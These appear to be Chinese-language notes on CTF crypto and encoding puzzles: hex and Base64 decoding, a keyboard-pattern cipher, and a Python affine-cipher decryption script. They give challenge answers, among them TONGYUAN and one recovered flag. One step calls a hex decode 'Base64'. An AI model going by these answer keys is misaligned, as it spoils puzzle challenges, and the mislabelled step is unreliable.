敢不敢再加密幾次
.!?(Ook! to text)
+[]-
奇怪的密碼
托馬斯.傑斐遜
zip偽加密
告訴你個祕密(ISCCCTF)
636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067
decode as ASCII hex
cjV5RyBscDlJIEJqTSB0RmhC
VDZ1aCB5N2lKIFFzWiBiaE0g
decode Base64
r5yG lp9I BjM tFhB
T6uh y7iJ QsZ bhM
r5yG==>T
lp9I==>O
BjM==>N
tFhB==>G
T6uh==>Y
y7iJ ==>U
QsZ ==>A
bhM==>N
TONGYUAN
這不是md5
666c61677b616537333538376261353662616566357d
decode as Base64
flag{ae73587ba56baef5}
貝斯家族
富強民主
python(N1CTF)
進位制轉換
affine
flag = "szzyfimhyzd"
flaglist = []
for i in flag:
flaglist.append(ord(i)-97)
flags = ""
for i in flaglist:
for j in range(0,26):
c = (17 * j - 8) % 26
if(c == i):
flags += chr(j+97)
print(flags)